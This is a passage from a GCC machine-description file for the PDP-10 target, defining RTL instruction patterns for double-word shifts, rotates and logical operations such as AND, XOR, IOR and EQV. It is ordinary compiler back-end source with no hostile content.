\"ashrdi3\"\n  [(set (match_dup 3) (neg:SI (match_operand:SI 2 \"general_operand\" \"\")))\n   (set (match_operand:DI 0 \"register_operand\" \"\")\n\t(ashiftrt:DI (match_operand:DI 1 \"register_operand\" \"\")\n\t\t     (neg:SI (match_dup 3))))]\n  \"\"\n  \"if (!TARGET_71BIT)\n     {\n       HOST_WIDE_INT mask;\n       /*rtx op0hi = gen_rtx_SUBREG (SImode, operands[0], 0);\n       rtx op0lo = gen_rtx_SUBREG (SImode, operands[0], 4);*/\n       rtx temp = gen_reg_rtx (SImode);\n       rtx label;\n\t\n\n       if (GET_CODE (operands[2]) == CONST_INT)\n\t {\n\t   int n = INTVAL (operands[2]);\n\t   if (n <= 35)\n\t     {\n\t       label = gen_label_rtx ();\n\t       mask = (HOST_WIDE_INT)1 << (35 - n);\n\t       emit_insn (gen_lshrdi3 (operands[0], operands[1], operands[2]));\n\t       emit_jump_insn (gen_test_and_skip (gen_rtx_EQ (VOIDmode,\n\t\t\t\t\t\t\t      NULL_RTX,\n\t\t\t\t\t\t\t      NULL_RTX),\n\t\t\t\t\t\t  gen_rtx_SUBREG (SImode,\n\t\t\t\t\t\t\t\t  operands[0],\n\t\t\t\t\t\t\t\t  0),\n\t\t\t\t\t\t  gen_int_mode (mask, SImode),\n\t\t\t\t\t\t  label));\n\t       mask = ~(mask - 1);\n\t       if (n != 17 && n != 35)\n\t\t mask <<= 1;\n\t       emit_insn (gen_iorsi3 (gen_rtx_SUBREG (SImode, operands[0], 0),\n\t\t\t\t      gen_rtx_SUBREG (SImode, operands[0], 0),\n\t\t\t\t      gen_int_mode (mask, SImode)));\n\t       emit_label (label);\n\t     }\n\t   else if (n == 36)\n\t     /*{\n\t       emit_insn (gen_ashrsi3 (gen_rtx_SUBREG (SImode, operands[0], 0),\n\t\t\t\t       gen_rtx_SUBREG (SImode, operands[1], 0),\n\t\t\t\t       GEN_INT (35)));\n\t       emit_move_insn (gen_rtx_SUBREG (SImode, operands[0], 4),\n\t\t\t       gen_rtx_SUBREG (SImode, operands[1], 0));\n\t     }*/\n\t     /*{\n\t       emit_move_insn (gen_rtx_SUBREG (SImode, operands[0], 4),\n\t\t\t       gen_rtx_SUBREG (SImode, operands[1], 0));\n\t       emit_insn (gen_ashrsi3 (gen_rtx_SUBREG (SImode, operands[0], 0),\n\t\t\t\t       gen_rtx_SUBREG (SImode, operands[1], 0),\n\t\t\t\t       GEN_INT (35)));\n\t     }*/\n\t     emit_insn (gen_ashrdi3_36 (operands[0], operands[1]));\n\t   else if (n >= 71 && !optimize_size)\n\t     emit_insn (gen_sign_extension_di (operands[0], operands[1]));\n\t   else\n\t     emit_insn (gen_ASHC (operands[0], operands[1], GEN_INT (1 - n)));\n\t   DONE;\n\t }\n\t \n       /* Sequence adapted from Hacker's Delight, section 2-6.  */\n       emit_insn (gen_ashrsi3 (temp, gen_rtx_SUBREG (SImode, operands[1], 0),\n\t\t\t       GEN_INT (35)));\n       /*emit_move_insn (operands[0], operands[1]);\n       emit_insn (gen_xorsi3 (op0hi, op0hi, temp));\n       emit_insn (gen_xorsi3 (op0lo, op0lo, temp));*/\n       emit_insn (gen_xordisi3 (operands[0], operands[1], temp));\n       emit_insn (gen_lshrdi3 (operands[0], operands[0], operands[2]));\n       /*emit_insn (gen_xorsi3 (op0hi, op0hi, temp));\n       emit_insn (gen_xorsi3 (op0lo, op0lo, temp));*/\n       emit_insn (gen_xordisi3 (operands[0], operands[0], temp));\n\n       DONE;\n     }\n   else if (GET_CODE (operands[2]) == CONST_INT)\n     {\n       emit_insn (gen_ASHC_right (operands[0], operands[1],\n\t\t\t\t  GEN_INT (-INTVAL (operands[2]))));\n       DONE;\n     }\n   else\n     operands[3] = gen_reg_rtx (SImode);\")\n\n(define_insn \"ashrdi3_36\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(ashiftrt:DI (match_operand:DI 1 \"register_operand\" \"0\")\n\t\t     (const_int 36)))]\n  \"!TARGET_71BIT\"\n  \"@\n   move %Z0,%0\\;ash %0,-43\"\n  [(set_attr \"length\" \"2\")])\n\n(define_insn \"sign_extension_di\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r\")\n\t(ashiftrt:DI (match_operand:DI 1 \"register_operand\" \"0,r\")\n\t\t     (const_int 71)))]\n  \"!TARGET_71BIT\"\n  {\n    if (which_alternative == 0)\n      return \"ash %0,-43\\;move %Z0,%0\";\n    else if (REGNO (operands[0]) + 1 == REGNO (operands[1]))\n      return \"ash %Z0,-43\\;move %0,%Z0\";\n    else\n      return \"move %0,%1\\;ash %0,-43\\;move %Z0,%0\";\n  }\n  [(set_attr \"length\" \"2,3\")])\n\n(define_insn \"ASHC_right\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r,r\")\n\t(ashiftrt:DI (match_operand:DI 1 \"register_operand\" \"0,0,0\")\n\t\t     (neg:SI (match_operand:SI 2 \"general_operand\" \"x,K,m\"))))]\n  \"TARGET_71BIT\"\n  \"@\n   ashc %0,(%2)\n   ashc %0,%2\n   ashc %0,@%2\")\n\n(define_insn \"ASHC\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(unspec:DI [(match_operand:DI 1 \"register_operand\" \"0\")\n\t\t    (match_operand:SI 2 \"const_int_operand\" \"K\")]\n\t\t   UNSPEC_ASHC))]\n  \"!TARGET_71BIT\"\n  \"ashc %0,%2\")\n\n(define_insn \"*ASHC_right_plus\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(ashiftrt:DI\n\t (match_operand:DI 1 \"register_operand\" \"0\")\n\t (neg:SI (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t  (match_operand:SI 3 \"immediate_operand\" \"K\")))))]\n  \"TARGET_71BIT\"\n  \"ashc %0,%3(%2)\")\n\n(define_insn \"rotlsi3\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,r\")\n\t(rotate:SI (match_operand:SI 1 \"register_operand\" \"0,0,0\")\n\t\t   (match_operand:SI 2 \"general_operand\" \"x,K,m\")))]\n  \"\"\n  \"@\n   rot %0,(%2)\n   rot %0,%Y2\n   rot %0,@%2\")\n\n(define_insn \"*ROT_left_plus\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(rotate:SI (match_operand:SI 1 \"register_operand\" \"0\")\n\t\t   (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t    (match_operand:SI 3 \"immediate_operand\" \"K\"))))]\n  \"\"\n  \"rot %0,%Y3(%2)\")\n\n(define_expand \"rotrsi3\"\n  [(set (match_dup 3) (neg:SI (match_operand:SI 2 \"general_operand\" \"\")))\n   (set (match_operand:SI 0 \"register_operand\" \"\")\n\t(rotatert:SI (match_operand:SI 1 \"register_operand\" \"\")\n\t\t     (neg:SI (match_dup 3))))]\n  \"\"\n  \"operands[3] = gen_reg_rtx (SImode);\")\n\n(define_insn \"*ROT_right\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r,r,r\")\n\t(rotatert:SI (match_operand:SI 1 \"register_operand\" \"0,0,0\")\n\t\t     (neg:SI (match_operand:SI 2 \"general_operand\" \"x,K,m\"))))]\n  \"\"\n  \"@\n   rot %0,(%2)\n   rot %0,%Y2\n   rot %0,@%2\")\n\n(define_insn \"*ROT_right_plus\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(rotatert:SI\n\t (match_operand:SI 1 \"register_operand\" \"0\")\n\t (neg:SI (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t  (match_operand:SI 3 \"immediate_operand\" \"K\")))))]\n  \"\"\n  \"rot %0,%Y3(%2)\")\n\n(define_insn \"rotldi3\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r,r\")\n\t(rotate:DI (match_operand:DI 1 \"register_operand\" \"0,0,0\")\n\t\t   (match_operand:SI 2 \"general_operand\" \"x,K,m\")))]\n  \"!TARGET_71BIT\"\n  \"@\n   rotc %0,(%2)\n   rotc %0,%V2\n   rotc %0,@%2\")\n\n(define_insn \"*ROTC_left_plus\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(rotate:DI (match_operand:DI 1 \"register_operand\" \"0\")\n\t\t   (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t    (match_operand:SI 3 \"immediate_operand\" \"K\"))))]\n  \"!TARGET_71BIT\"\n  \"rotc %0,%V3(%2)\")\n\n(define_expand \"rotrdi3\"\n  [(set (match_dup 3) (neg:SI (match_operand:SI 2 \"general_operand\" \"\")))\n   (set (match_operand:DI 0 \"register_operand\" \"\")\n\t(rotatert:DI (match_operand:DI 1 \"register_operand\" \"\")\n\t\t     (neg:SI (match_dup 3))))]\n  \"!TARGET_71BIT\"\n  \"operands[3] = gen_reg_rtx (SImode);\")\n\n(define_insn \"*ROTC_right\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r,r,r\")\n\t(rotatert:DI (match_operand:DI 1 \"register_operand\" \"0,0,0\")\n\t\t     (neg:SI (match_operand:SI 2 \"general_operand\" \"x,K,m\"))))]\n  \"!TARGET_71BIT\"\n  \"@\n   rotc %0,(%2)\n   rotc %0,%V2\n   rotc %0,@%2\")\n\n(define_insn \"*ROTC_right_plus\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n\t(rotatert:DI\n\t (match_operand:DI 1 \"register_operand\" \"0\")\n\t (neg:SI (plus:SI (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t  (match_operand:SI 3 \"immediate_operand\" \"K\")))))]\n  \"!TARGET_71BIT\"\n  \"rotc %0,%V3(%2)\")\n\n\f\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\n;; Logical Operations\n\n;; SETZ -- in Data Movement\n\n;; AND -- andsi3\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (subreg:SI (match_operand:QI 1 \"memory_operand\" \"m\") 0)\n\t\t(const_int 63)))]\n  \"\"\n  \"*return pdp10_output_extzv_foo (insn, operands);\")\n\n(define_insn \"\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (match_operand:SI 1 \"memory_operand\" \"m\")\n\t\t(match_operand:SI 2 \"const_int_operand\" \"i\")))]\n  \"TARGET_LARGE && CONSTANT_ADDRESS_P (XEXP (operands[1], 0))\n   && (INTVAL (operands[2]) == 077 || INTVAL (operands[2]) == 0777)\"\n  {\n    rtx ops[4];\n    int bitsize = exact_log2 (INTVAL (operands[2]) + 1);\n    ops[0] = operands[0];\n    ops[1] = operands[1];\n    ops[2] = GEN_INT (bitsize);\n    ops[3] = GEN_INT (BITS_PER_WORD - bitsize);\n    output_asm_insn (pdp10_output_extzv (insn, ops), ops);\n    return \"\";\n  })\n\n(define_expand \"andsi3\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"\")\n        (and:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"\")\n                (match_operand:SI 2 \"general_operand\" \"\")))]\n  \"\"\n  \"\")\n\n(define_insn \"*andsi3\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,r,r,r,r,m\")\n        (and:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"%0,0,0,0,0,0\")\n                (match_operand:SI 2 \"general_operand\" \"rm,I,N,P,i,r\")))]\n  \"\"\n  \"@\n   and %0,%2\n   andi %0,%2\n   tlz %0,%T2\n   andcmi %0,%C2\n   and %0,[%2]\n   andm %2,%0\")\n\n(define_insn \"*ANDI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (and:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t(const_int RIGHT_HALF))\n\t\t(match_operand:SI 2 \"register_operand\" \"0\")))]\n  \"\"\n  \"andi %0,(%1)\")\n(define_insn \"*ANDI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (and:SI (plus:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t (match_operand:SI 2 \"const_int_operand\" \"I\"))\n\t\t\t(const_int RIGHT_HALF))\n\t\t(match_operand:SI 3 \"register_operand\" \"0\")))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'I')\"\n  \"andi %0,%2(%1)\")\n(define_insn \"*TLZ_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (not:SI (ashift:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t   (const_int 18)))\n\t\t(match_operand:SI 2 \"register_operand\" \"0\")))]\n  \"\"\n  \"tlz %0,(%1)\")\n(define_insn \"*TLZ_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (not:SI (plus:SI (mult:SI\n\t\t\t\t  (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t  (const_int 262144))\n\t\t\t\t (match_operand:SI 2 \"const_int_operand\" \"L\")))\n\t\t(match_operand:SI 3 \"register_operand\" \"0\")))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'L')\"\n  \"tlz %0,%S2(%1)\")\n\n(define_insn \"*ANDB1\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(and:SI (match_dup 0) (match_operand:SI 1 \"register_operand\" \"r\")))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(and:SI (match_dup 0) (match_dup 1)))]\n  \"\"\n  \"andb %1,%0\")\n(define_insn \"*ANDB2\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(and:SI (match_operand:SI 1 \"register_operand\" \"r\") (match_dup 0)))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(and:SI (match_dup 1) (match_dup 0)))]\n  \"\"\n  \"andb %1,%0\")\n\n;; ANDCA, ANDCM\n\n(define_insn \"ANDCx\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,r,r,r,m,m\")\n        (and:SI\n\t (not:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"0,rm,0,0,r,0\"))\n\t (match_operand:SI 2 \"general_operand\" \"rm,0,I,P,0,r\")))]\n  \"\"\n  \"@\n   andca %0,%2\n   andcm %0,%1\n   andcai %0,%2\n   andcbi %0,%C2\n   andcam %1,%0\n   andcmm %2,%0\")\n\n(define_insn \"*ANDCMI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (ior:SI (not:SI (match_operand:SI 1 \"register_operand\" \"x\"))\n\t\t\t(const_int LEFT_HALF))\n\t\t(match_operand:SI 2 \"register_operand\" \"0\")))]\n  \"\"\n  \"andcmi %0,(%1)\")\n(define_insn \"*ANDCMI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (ior:SI (not:SI\n\t\t\t (plus:SI\n\t\t\t  (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t  (match_operand:SI 2 \"const_int_operand\" \"I\")))\n\t\t\t(const_int LEFT_HALF))\n\t\t(match_operand:SI 3 \"register_operand\" \"0\")))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'I')\"\n  \"andcmi %0,%2(%1)\")\n\n(define_insn \"*ANDCAB\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(and:SI (not:SI (match_operand:SI 1 \"register_operand\" \"r\"))\n\t\t(match_dup 0)))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(and:SI (not:SI (match_dup 1)) (match_dup 0)))]\n  \"\"\n  \"andcab %1,%0\")\n\n(define_insn \"*ANDCMB\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(and:SI (not:SI (match_dup 0))\n\t\t(match_operand:SI 1 \"register_operand\" \"r\")))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(and:SI (not:SI (match_dup 0)) (match_dup 1)))]\n  \"\"\n  \"andcmb %1,%0\")\n; (define_insn \"*ANDCMB\"\n;   [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n; \t(and:SI (not:SI (match_operand:SI 1 \"memory_operand\" \"+m\"))\n; \t\t(match_operand:SI 2 \"register_operand\" \"0\")))\n;    (set (match_dup 1)\n; \t(and:SI (not:SI (match_dup 1)) (match_dup 2)))]\n;   \"\"\n;   \"andcmb %0,%1\")\n\n;; SETM -- not useful\n\n;; SETA -- not useful\n\n;; XOR -- xorsi3\n\n(define_insn \"xorsi3\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,r,r,r,r,m\")\n        (xor:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"%0,0,0,0,0,0\")\n                (match_operand:SI 2 \"general_operand\" \"rm,I,L,P,i,r\")))]\n  \"\"\n  \"@\n   xor %0,%2\n   xori %0,%2\n   tlc %0,%S2\n   eqvi %0,%C2\n   xor %0,[%2]\n   xorm %2,%0\")\n\n(define_insn \"*XORI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (xor:SI (and:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t(const_int RIGHT_HALF))\n\t\t(match_operand:SI 2 \"register_operand\" \"0\")))]\n  \"\"\n  \"xori %0,(%1)\")\n(define_insn \"*XORI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (xor:SI (and:SI (plus:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t\t (match_operand:SI 2 \"const_int_operand\" \"I\"))\n\t\t\t(const_int RIGHT_HALF))\n\t\t(match_operand:SI 3 \"register_operand\" \"0\")))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'I')\"\n  \"xori %0,%2(%1)\")\n(define_insn \"*TLC_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (xor:SI (ashift:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t   (const_int 18))\n\t\t(match_operand:SI 2 \"register_operand\" \"0\")))]\n  \"\"\n  \"tlc %0,(%1)\")\n(define_insn \"*TLC_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(xor:SI (plus:SI (mult:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t  (const_int 262144))\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"L\"))\n\t\t(match_operand:SI 3 \"register_operand\" \"0\")))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'L')\"\n  \"tlc %0,%S2(%1)\")\n\n(define_insn \"*XORB1\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(xor:SI (match_dup 0) (match_operand:SI 1 \"register_operand\" \"r\")))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(xor:SI (match_dup 0) (match_dup 1)))]\n  \"\"\n  \"xorb %1,%0\")\n(define_insn \"*XORB2\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(xor:SI (match_operand:SI 1 \"register_operand\" \"r\") (match_dup 0)))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(xor:SI (match_dup 1) (match_dup 0)))]\n  \"\"\n  \"xorb %1,%0\")\n\n(define_insn \"xordisi3\"\n  [(set (match_operand:DI 0 \"register_operand\" \"=r\")\n        (xor:DI (match_operand:DI 1 \"register_operand\" \"%0\")\n                (plus:DI\n\t\t (ashift:DI\n\t\t  (zero_extend:DI (match_operand:SI 2 \"register_operand\" \"r\"))\n\t\t  (const_int 36))\n\t\t (zero_extend:DI (match_dup 2)))))]\n  \"\"\n  \"xor %0,%2\\;xor %Z0,%2\")\n\n;; IOR -- iorsi3\n\n(define_insn \"iorsi3\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,r,r,r,r,m\")\n        (ior:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"%0,0,0,0,0,0\")\n                (match_operand:SI 2 \"general_operand\" \"rm,I,L,P,i,r\")))]\n  \"\"\n  \"@\n   ior %0,%2\n   iori %0,%2\n   tlo %0,%S2\n   orcmi %0,%C2\n   ior %0,[%2]\n   iorm %2,%0\")\n\n(define_insn \"*IORI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ior:SI (and:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t(const_int RIGHT_HALF))\n\t\t(match_operand:SI 2 \"register_operand\" \"0\")))]\n  \"\"\n  \"iori %0,(%1)\")\n(define_insn \"*IORI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ior:SI (and:SI (plus:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t (match_operand:SI 2 \"const_int_operand\" \"I\"))\n\t\t\t(const_int RIGHT_HALF))\n\t\t(match_operand:SI 3 \"register_operand\" \"0\")))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'I')\"\n  \"iori %0,%2(%1)\")\n(define_insn \"*TLO_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ior:SI (ashift:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t   (const_int 18))\n\t\t(match_operand:SI 2 \"register_operand\" \"0\")))]\n  \"\"\n  \"tlo %0,(%1)\")\n(define_insn \"*TLO_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(ior:SI (plus:SI (mult:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t  (const_int 262144))\n\t\t\t (match_operand:SI 2 \"const_int_operand\" \"L\"))\n\t\t(match_operand:SI 3 \"register_operand\" \"0\")))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'L')\"\n  \"tlo %0,%S2(%1)\")\n\n(define_insn \"*IORB1\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(ior:SI (match_dup 0) (match_operand:SI 1 \"register_operand\" \"r\")))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(ior:SI (match_dup 0) (match_dup 1)))]\n  \"\"\n  \"iorb %1,%0\")\n(define_insn \"*IORB2\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(ior:SI (match_operand:SI 1 \"register_operand\" \"r\") (match_dup 0)))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(ior:SI (match_dup 1) (match_dup 0)))]\n  \"\"\n  \"iorb %1,%0\")\n\n;; ANDCB\n\n(define_insn \"*ANCDB\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n        (and:SI (not:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"%0,0\"))\n                (not:SI (match_operand:SI 2 \"reg_or_mem_operand\" \"rm,r\"))))]\n  \"\"\n  \"@\n   andcb %0,%2\n   andcbm %2,%0\")\n\n(define_insn \"*ANDCBI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (not:SI (and:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t(const_int RIGHT_HALF)))\n\t\t(not:SI (match_operand:SI 2 \"register_operand\" \"0\"))))]\n  \"\"\n  \"andcbi %0,(%1)\")\n(define_insn \"*ANDCBI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (not:SI (and:SI\n\t\t\t (plus:SI\n\t\t\t  (match_operand:SI 2 \"register_operand\" \"x\")\n\t\t\t  (match_operand:SI 3 \"const_int_operand\" \"I\"))\n\t\t\t (const_int RIGHT_HALF)))\n\t\t(not:SI (match_operand:SI 1 \"register_operand\" \"0\"))))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[3]), 'I')\"\n  \"andcbi %0,%3(%2)\")\n\n(define_insn \"*ANDCBB1\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(and:SI (not:SI (match_dup 0))\n\t\t(not:SI (match_operand:SI 1 \"register_operand\" \"r\"))))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(and:SI (not:SI (match_dup 0)) (not:SI (match_dup 1))))]\n  \"\"\n  \"andcbb %1,%0\")\n(define_insn \"*ANDCBB2\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(and:SI (not:SI (match_operand:SI 1 \"register_operand\" \"r\"))\n\t\t(not:SI (match_dup 0))))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(and:SI (not:SI (match_dup 1)) (not:SI (match_dup 0))))]\n  \"\"\n  \"andcbb %1,%0\")\n\n(define_insn \"*ANDCBB\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(and:SI (not:SI (match_operand:SI 1 \"register_operand\" \"%0\"))\n\t\t(not:SI (match_operand:SI 2 \"memory_operand\" \"+m\"))))\n   (set (match_dup 2)\n\t(and:SI (not:SI (match_dup 1)) (not:SI (match_dup 2))))]\n  \"\"\n  \"andcbb %0,%2\")\n\n;; EQV\n\n(define_insn \"*EQV\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,m\")\n\t(not:SI (xor:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"%0,0\")\n\t\t\t(match_operand:SI 2 \"reg_or_mem_operand\" \"rm,r\"))))]\n  \"\"\n  \"@\n   eqv %0,%2\n   eqvm %2,%0\")\n\n(define_insn \"*EQVI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(not:SI (xor:SI (and:SI (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t(const_int RIGHT_HALF))\n\t\t\t(match_operand:SI 2 \"register_operand\" \"0\"))))]\n  \"\"\n  \"eqvi %0,(%1)\")\n(define_insn \"*EQVI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n\t(not:SI (xor:SI (and:SI (plus:SI\n\t\t\t\t (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t (match_operand:SI 2 \"const_int_operand\" \"I\"))\n\t\t\t\t(const_int RIGHT_HALF))\n\t\t\t(match_operand:SI 3 \"register_operand\" \"0\"))))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'I')\"\n  \"eqvi %0,%2(%1)\")\n\n(define_insn \"*EQVB1\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(not:SI (xor:SI (match_dup 0)\n\t\t\t(match_operand:SI 1 \"register_operand\" \"r\"))))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(not:SI (xor:SI (match_dup 0) (match_dup 1))))]\n  \"\"\n  \"eqvb %1,%0\")\n(define_insn \"*EQVB2\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(not:SI (xor:SI (match_operand:SI 1 \"register_operand\" \"r\")\n\t\t\t(match_dup 0))))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(not:SI (xor:SI (match_dup 1) (match_dup 0))))]\n  \"\"\n  \"eqvb %1,%0\")\n\n;; SETCA, SETCM -- one_cmplsi2\n\n(define_insn \"one_cmplsi2\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,r,m,m\")\n        (not:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"0,rm,r,0\")))]\n  \"\"\n  \"@\n   setca %0,\n   setcm %0,%1\n   setcam %1,%0\n   setcmm %0\")\n\n(define_insn \"*SETCAB\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(not:SI (match_operand:SI 1 \"register_operand\" \"r\")))\n   (set (match_operand:SI 2 \"register_operand\" \"=1\")\n\t(not:SI (match_dup 1)))]\n  \"\"\n  \"setcab %1,%0\")\n\n(define_insn \"*SETCMB\"\n  [(set (match_operand:SI 0 \"memory_operand\" \"+m\")\n\t(not:SI (match_dup 0)))\n   (set (match_operand:SI 1 \"register_operand\" \"=r\")\n\t(not:SI (match_dup 0)))]\n  \"\"\n  \"setcmb %0,%1\")\n\n;; SETCMI is done with ORCBI.\n\n;; ORCA, ORCM\n\n(define_insn \"*ORCx\"\n  [(set (match_operand:SI 0 \"reg_or_mem_operand\" \"=r,r,r,r,m,m\")\n        (ior:SI\n\t (not:SI (match_operand:SI 1 \"reg_or_mem_operand\" \"0,rm,0,0,r,0\"))\n\t (match_operand:SI 2 \"general_operand\" \"rm,0,I,P,0,r\")))]\n  \"\"\n  \"@\n   orca %0,%2\n   orcm %0,%1\n   orcai %0,%2\n   orcbi %0,%C2\n   orcam %1,%0\n   orcmm %2,%0\")\n\n(define_insn \"*ORCMI_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (ior:SI (ior:SI (not:SI (match_operand:SI 1 \"register_operand\" \"x\"))\n\t\t\t(const_int LEFT_HALF))\n\t\t(match_operand:SI 2 \"register_operand\" \"0\")))]\n  \"\"\n  \"orcmi %0,(%1)\")\n(define_insn \"*ORCMI_const_plus_reg\"\n  [(set (match_operand:SI 0 \"register_operand\" \"=r\")\n        (ior:SI (ior:SI (not:SI (plus:SI\n\t\t\t\t (match_operand:SI 1 \"register_operand\" \"x\")\n\t\t\t\t (match_operand:SI 2 \"const_int_operand\" \"I\")))\n\t\t\t(const_int LEFT_HALF))\n\t\t(match_operand:SI 3 \"register_operand\" \"0\")))]\n  \"pdp10_const_ok_for_letter_p (INTVAL (operands[2]), 'I')\"\n  \"orcmi %0,%2(%1)\")\n\n(define_insn \"*ORCAB1\"\n  [(set (match_operand:SI 0 